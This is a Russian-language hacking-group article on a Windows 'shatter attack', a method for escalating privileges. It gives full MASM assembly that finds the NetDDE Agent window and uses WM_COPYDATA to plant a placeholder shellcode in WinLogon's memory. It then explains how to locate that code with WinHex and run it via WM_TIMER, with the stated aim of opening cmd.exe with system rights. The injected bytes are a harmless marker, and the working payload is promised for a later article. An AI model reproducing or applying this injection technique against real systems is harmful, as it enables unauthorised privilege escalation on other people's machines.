| Welcome to The Passion Of Code Laboratory!!! | Статьи |
Атаки на переполнение. |
|
LRESULT SendMessage( HWND hWnd, // дескриптор окна, которому посылается сообщение UINT Msg, // тип сообщения ( мы будем использовать WM_TIMER ) WPARAM wParam, // через сколько миллисекунд запустить процедуры LPARAM lParam // адрес начала запускаемой процедуры ); |
Итак указав,
например, в качестве hWnd, дескриптор чужого окна, Вы получаете возможность
исполнить содержащуюся в нем функцию, расположенную в чужом адресном
пространстве по адресу с lParam.
Наша цель запуск процесса с правами системы (скорее всего, этим процессом будет cmd.exe). Поэтому этот процесс должен запустить тот, у кого такие права уже есть. Иными словами - необходимо заставить системный процесс запустить наш код. Надо найти способ добавить в него такую процедуру и потом уже вызывать ее при помощи сообщения WM_TIMER.
Решим вопрос передачи данных. Один из самых простых путей передачи данных из одного экземпляра приложения в другое - это использование сообщения WM_COPYDATA . Это сообщение специально создано для того, чтобы позволить одному приложению отправлять данные другому приложению. Когда вы отправляете сообщение WM_COPYDATA, вы передаете дескриптор окна, отправляющего сообщение, в значении параметра WPARAM и указатель на структуру COPYDATASTRUCT в значении параметра LPARAM. Структура COPYDATASTRUCT - простая структура:
|
typedef struct tagCOPYDATASTRUCT { // cds
DWORD dwData; DWORD cbData; PVOID lpData; } COPYDATASTRUCT; |
Значение члена dwData может быть использовано, если
вы просто передаете 32 бита данных во второй экземпляр. Если вам нужно передать
блок памяти во второй экземпляр - вы устанавливаете значение члена cbData в
размер передаваемого блока, а значение члена lpData - в начальный адрес блока
памяти.
Windows будет гарантировать, что данные, отправляемые в структуре COPYDATASTRUCT,
будут существовать, пока сообщение WM_COPYDATA не будет обработано. Вы должны
использовать функцию SendMessage() для отправки сообщения WM_COPYDATA . Вы не
можете использовать PostMessage().
Основательно вооружившись теоретическими “вырезками”, приступимc-c. Рассмотрим код программы, которая помещает в адресное пространство системного процесса свои данные с помощью сообщений.
|
;--------1.asm .386 .model flat, stdcall option casemap: none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\include\masm32.inc includelib \masm32\lib\masm32.lib include \masm32\include\user32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\msvcrt.lib memcpy proto c:DWORD,:DWORD,:DWORD memset proto c:DWORD,:DWORD,:DWORD malloc proto c:DWORD .data szFormat DB " = 0x%08lX",13,10,0 szFormat_Error_SendM DB "SendMessage GetLastError() = %d",0 szFormat_Error_PostM DB "PostMessage GetLastError() = %d",0 szInfoLine_1 db " Дискриптор окна равен",0 szSendMessage_OK db " SendMessage() - выполнен успешно.",13,10,0 szError_FindWindow DB "Окно не найдено, проверьте пераметры FindWindow()",13,10,0 lf db 0,13,10 ;структура для передачи данных по сообщению WM_COPYDATA copy_data COPYDATASTRUCT <> hWnd DD 0 hMemory DD 0 pMemory DD 0 szClassName db "NDDEAgnt", 0 szWindowName db "NetDDE Agent", 0 ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= _shell_code db 8Bh, 0F4h ; mov ESI,ESP db 90h,6Ah, 00h,90h,6Ah, 00h,90h db 90h,6Ah, 00h,90h,6Ah, 00h,90h db 90h,6Ah, 00h,90h,6Ah, 00h,90h db 90h,6Ah, 00h,90h,6Ah, 00h,90h db 90h,6Ah, 00h,90h,6Ah, 00h,90h mov ESP,ESI ; db 8Bh, 0E6h ret ; db 0C3h ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= len_ EQU $ - _shell_code .data? clBuffer DB ? cyrBuffer DB ? ;---------------------------------------------- .code start: invoke malloc,1000 mov pMemory,eax invoke memset, pMemory, 90h, 1000 invoke memcpy, pMemory, OFFSET _shell_code, len_ mov copy_data.dwData,0 mov copy_data.cbData,1000 mov EAX, pMemory mov copy_data.lpData,EAX invoke FindWindow,ADDR szClassName, ADDR szWindowName mov hWnd,EAX .if eax==0 invoke StdOut,ADDR lf invoke CharToOem, ADDR szError_FindWindow,ADDR cyrBuffer invoke StdOut,ADDR cyrBuffer invoke StdOut,ADDR lf .else invoke StdOut,ADDR lf invoke StdOut,ADDR lf invoke CharToOem, ADDR szInfoLine_1,ADDR cyrBuffer invoke StdOut,ADDR cyrBuffer INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat,hWnd invoke StdOut,ADDR clBuffer invoke StdOut,ADDR lf .endif invoke SendMessage, hWnd, WM_COPYDATA ,DWORD PTR hWnd ,OFFSET copy_data invoke GetLastError .IF EAX !=0 INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat_Error_SendM,EAX invoke StdOut,ADDR clBuffer .ELSE invoke CharToOem, ADDR szSendMessage_OK,ADDR cyrBuffer invoke StdOut,ADDR cyrBuffer invoke StdOut,ADDR lf .ENDIF invoke Sleep,1000 invoke ExitProcess,0 ;---------------------------------------------- end start |
Рассмотрим важные пункты.
1)
|
_shell_code db 8Bh, 0F4h ; mov ESI,ESP db 90h,6Ah, 00h,90h,6Ah, 00h,90h db 90h,6Ah, 00h,90h,6Ah, 00h,90h db 90h,6Ah, 00h,90h,6Ah, 00h,90h db 90h,6Ah, 00h,90h,6Ah, 00h,90h db 90h,6Ah, 00h,90h,6Ah, 00h,90h mov ESP,ESI ; db 8Bh, 0E6h ret ; db 0C3h |
Ну это и будет, как бы наш shell код. Да Вы абсолютно правы,
он полностью безсмысленен. Однако такая глупая, последовательность, не имея в
себе ничего полезного кроме уникальности (как это звучит “ ничего полезного
кроме уникальности”) послужит нам хорошую службу. Просто напросто эту
последовательность нам нужно найти в памяти процесса WinLogon.
2)
| invoke FindWindow,ADDR szClassName,
ADDR szWindowName mov hWnd,EAX |
Получаем дескриптор окна. Эти параметры окон очень удобно получать, пользуясь утилитой SPY++ из пакета Microsoft Visual C++ v.6.0.

Рассмотрим параметры функции FindWindow():
|
HWND FindWindow( LPCTSTR lpClassName, // указатель на строку класса класса LPCTSTR lpWindowName // указатель на строку с именем окна ); |
С помощью программы SPY++ легко получаем имя окна …

… и класс интересного нам окна.

Теперь у нас есть все чтобы получить дескриптор нужного окна.
3)
| invoke SendMessage, hWnd, WM_COPYDATA ,DWORD PTR hWnd ,OFFSET copy_data |
“Ну и что, - скажете Вы, где же обещанные привилегии?” Да
,пока окошка cmd нет. Но откройте WinHex, в нем просмотр процессов в памяти.
Выбирайте WinLogon и произведите поиск в памяти процесса последовательности -
8BF4906A00, так начинается наш “недоделанный” shell-код.
По адресу 0x0080FA78h Вы непременно обнаружите ( конечно если у Вас Windows
2000SP4, как у маня) начало shell-кода.

Ну это ли не победа !
Ну, пока на этом и остановимся. Не рискуя перегружать уважаемого читателя,
просто скажем, что в следующей статье мы напишем shell-код который выполняется
полностью в стеке и вызывает таки нашу cmd.exe. А пока - до свиданья. :)
[C] _follower / TPOC
Новые события из жизни нашей лаборатории
Статьи и переводы лаборатории TPOC
Программы лаборатории TPOC
Здесь мы сообщаем Вам, какие творения скоро появятся
Ссылки на сайты, где можно найти больше информации
История нашей лаборатории и ее члены
| У вас есть предложения по нашему сайту? Напишите сюда | Любимые сайты вирмейкеров: (WASM) (RSDN) |